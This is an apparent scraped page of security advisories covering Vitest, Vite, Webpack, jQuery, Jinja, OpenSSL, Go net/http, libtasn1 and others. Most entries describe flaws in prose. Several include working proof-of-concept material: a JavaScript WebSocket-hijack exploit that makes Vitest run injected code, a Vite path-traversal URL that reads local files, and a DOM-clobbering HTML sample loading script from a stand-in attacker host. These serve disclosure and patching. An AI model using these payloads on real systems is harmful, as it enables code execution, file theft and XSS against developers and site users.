Last updated 14 November 2024

Summary Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC 1. Open Vitest UI. 2. Access a malicious web site with the script below. 3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

js // code from https://github.com/WebReflection/flatted const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run const ws = new WebSocket('ws://localhost:51204/vitestapi') ws.addEventListener('message', e => { console.log(e.data) }) ws.addEventListener('open', () => { ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

// edit file content to inject command execution ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "saveTestFile", a: [testFilePath, "import childprocess from 'childprocess';childprocess.execSync('calc')"] })) // rerun the tests to run the injected command execution code ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "rerun", a: [testFilePath] })) })

Impact This vulnerability can result in remote code execution for users that are using Vitest serve API.

Summary Koa uses an evil regex to parse the X-Forwarded-Proto and X-Forwarded-Host HTTP headers. This can be exploited to carry out a Denial-of-Service attack.

PoC

Coming soon.

Impact This is a Regex Denial-of-Service attack and causes memory exhaustion. The regex should be improved and empty values should not be allowed.

A flaw was found in the Pulp package. When a role-based access control (RBAC) object in Pulp is set to assign permissions on its creation, it uses the AutoAddObjPermsMixin (typically the addrolesforobjectcreator method). This method finds the object creator by checking the current authenticated user. For objects that are created within a task, this current user is set by the first user with any permissions on the task object. This means the oldest user with model/domain-level task permissions will always be set as the current user of a task, even if they didn't dispatch the task. Therefore, all objects created in tasks will have their permissions assigned to this oldest user, and the creating user will receive nothing.

musl libc 0.9.13 through 1.2.5 before 1.2.6 has an out-of-bounds write vulnerability when an attacker can trigger iconv conversion of untrusted EUC-KR text to UTF-8.

Kerberos 5 (aka krb5) 1.21.2 contains a memory leak vulnerability in /krb5/src/lib/gssapi/krb5/k5sealv3.c.

An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames. Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed. This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send. The fix sets a limit on the amount of excess header frames we will process before closing a connection.

Memory Exhaustion in braces

Denial of service due to improper 100-continue handling in net/http

Last updated 19 September 2024

Abnormal termination of an application can a cause a denial of service.

Applications performing certificate name checks (e.g., TLS clients checking server certificates) may attempt to read an invalid memory address when comparing the expected name with an otherName subject alternative name of an X.509 certificate. This may result in an exception that terminates the application program.

Note that basic certificate chain validation (signatures, dates, ...) is not affected, the denial of service can occur only when the application also specifies an expected DNS name, Email address or IP address.

TLS servers rarely solicit client certificates, and even when they do, they generally don't perform a name check against a "reference identifier" (expected identity), but rather extract the presented identity after checking the certificate chain. So TLS servers are generally not affected and the severity of the issue is Moderate.

The FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue. OpenSSL 1.1.1 and 1.0.2 are also not affected by this issue.

OpenSSL 3.3, 3.2, 3.1 and 3.0 are vulnerable to this issue.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.2

OpenSSL 3.2 users should upgrade to OpenSSL 3.2.3

OpenSSL 3.1 users should upgrade to OpenSSL 3.1.7

OpenSSL 3.0 users should upgrade to OpenSSL 3.0.15

A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack.

Summary

Function parse.ParseUnverified currently splits (via a call to strings.Split) its argument (which is untrusted data) on periods.

As a result, in the face of a malicious request whose Authorization header consists of Bearer followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)

Details

See parse.ParseUnverified

Impact

Excessive memory allocation

Summary

The contents of arbitrary files can be returned to the browser.

Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

- base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init) - content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

Impact Passing HTML containing <option> elements from untrusted sources - even after sanitizing them - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Patches This problem is patched in jQuery 3.5.0.

Workarounds To workaround this issue without upgrading, use DOMPurify with its SAFEFORJQUERY option to sanitize the HTML string before passing it to a jQuery method.

References https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

For more information If you have any questions or comments about this advisory, search for a relevant issue in the jQuery repo. If you don't find an answer, open a new issue.

Last updated 14 November 2024

Insufficient sanitization of Host header in net/http

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

// / webpack/runtime/publicPath / // (() => { // var scriptUrl; // if (webpackrequire.g.importScripts) scriptUrl = webpackrequire.g.location + ""; // var document = webpackrequire.g.document; // if (!scriptUrl && document) { // if (document.currentScript) // scriptUrl = document.currentScript.src; // if (!scriptUrl) { // var scripts = document.getElementsByTagName("script"); // if(scripts.length) { // var i = scripts.length - 1; // while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; // } // } // } // // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration // // or pass an empty string ("") and set the webpackpublicpath variable from your code to use your own logic. // if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); // scriptUrl = scriptUrl.replace(/#.$/, "").replace(/\?.$/, "").replace(/\/[^\/]+$/, "/"); // webpackrequire.p = scriptUrl; // })();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to webpackrequire.p. If additional scripts are loaded from the server, webpackrequire.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js import('./import1.js') .then(module => { module.hello(); }) .catch(err => { console.error('Failed to load module', err); });

// import1.js export function hello () { console.log('Hello'); }

The webpack.config.js is set up as follows: const path = require('path');

module.exports = { entry: './entry.js', // Ensure the correct path to your entry file output: { filename: 'webpack-gadgets.bundle.js', // Output bundle file path: path.resolve(dirname, 'dist'), // Output directory publicPath: "auto", // Or leave this field not set }, target: 'web', mode: 'development', };

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html> <html> <head> <title>Webpack Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script src="./dist/webpack-gadgets.bundle.js"></script> <body> </body> </html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

// / webpack/runtime/publicPath / // (() => { // var scriptUrl; // if (webpackrequire.g.importScripts) scriptUrl = webpackrequire.g.location + ""; // var document = webpackrequire.g.document; // if (!scriptUrl && document) { // if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :> // scriptUrl = document.currentScript.src; // if (!scriptUrl) { // var scripts = document.getElementsByTagName("script"); // if(scripts.length) { // var i = scripts.length - 1; // while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; // } // } // } // // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration // // or pass an empty string ("") and set the webpackpublicpath variable from your code to use your own logic. // if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); // scriptUrl = scriptUrl.replace(/#.$/, "").replace(/\?.$/, "").replace(/\/[^\/]+$/, "/"); // webpackrequire.p = scriptUrl; // })();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.

A certificate with a URI which has a IPv6 address with a zone ID may incorrectly satisfy a URI name constraint that applies to the certificate chain.

Certificates containing URIs are not permitted in the web PKI, so this only affects users of private PKIs which make use of URIs.

Last updated 14 November 2024

A timing based side-channel exists in the libgcrypt RSA implementation which could be sufficient to recover a plaintext across a network in a Bleichenbacher style attack. To achieve successful decryption an attacker would have to be able to send a large number of trial messages for decryption. The vulnerability affects all RSA padding modes: PKCS#1 v1.5, RSA-OAEP, and RSASVE.

Issue summary: Some non-default TLS server configurations can cause unbounded memory growth when processing TLSv1.3 sessions

In the Linux kernel, the following vulnerability has been resolved:

md: fix deadlock between mddevsuspend and flush bio

Deadlock occurs when mddev is being suspended while some flush bio is in progress. It is a complex issue.

T1. the first flush is at the ending stage, it clears 'mddev->flushbio' and tries to submit data, but is blocked because mddev is suspended by T4. T2. the second flush sets 'mddev->flushbio', and attempts to queue mdsubmitflushdata(), which is already running (T1) and won't execute again if on the same CPU as T1. T3. the third flush inc activeio and tries to flush, but is blocked because 'mddev->flushbio' is not NULL (set by T2). T4. mddevsuspend() is called and waits for activeio dec to 0 which is inc by T3.

T1 T2 T3 T4 (flush 1) (flush 2) (third 3) (suspend) mdsubmitflushdata mddev->flushbio = NULL; . . mdflushrequest . mddev->flushbio = bio . queue submitflushes . . . . mdhandlerequest . . activeio + 1 . . mdflushrequest . . wait !mddev->flushbio . . . . mddevsuspend . . wait !activeio . . . submitflushes . queuework mdsubmitflushdata . //mdsubmitflushdata is already running (T1) . mdhandlerequest wait resume

The root issue is non-atomic inc/dec of activeio during flush process. activeio is dec before mdsubmitflushdata is queued, and inc soon after mdsubmitflushdata() run. mdflushrequest activeio + 1 submitflushes activeio - 1 mdsubmitflushdata mdhandlerequest activeio + 1 makerequest activeio - 1

If activeio is dec after mdhandlerequest() instead of within submitflushes(), makerequest() can be called directly intead of mdhandlerequest() in mdsubmitflushdata(), and activeio will only inc and dec once in the whole flush process. Deadlock will be fixed.

Additionally, the only difference between fixing the issue and before is that there is no return error handling of makerequest(). But after previous patch cleaned mdwritestart(), makerequst() only return error in raid5makerequest() by dm-raid, see commit 41425f96d7aa ("dm-raid456, md/raid456: fix a deadlock for dm-raid456 while io concurrent with reshape)". Since dm always splits data and flush operation into two separate io, io size of flush submitted by dm always is 0, makerequest() will not be called in mdsubmitflushdata(). To prevent future modifications from introducing issues, add WARNON to ensure makerequest() no error is returned in this context.

A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.

To exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.

An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code.

To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.

Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.

Prism (aka PrismJS) through 1.29.0 allows DOM Clobbering (with resultant XSS for untrusted input that contains HTML but does not directly contain JavaScript), because document.currentScript lookup can be shadowed by attacker-injected HTML elements.

Excessive time spent checking DSA keys and parameters

A flaw was found in GnuTLS, which relies on libtasn1 for ASN.1 data processing. Due to an inefficient algorithm in libtasn1, decoding certain DER-encoded certificate data can take excessive time, leading to increased resource consumption. This flaw allows a remote attacker to send a specially crafted certificate, causing GnuTLS to become unresponsive or slow, resulting in a denial-of-service condition.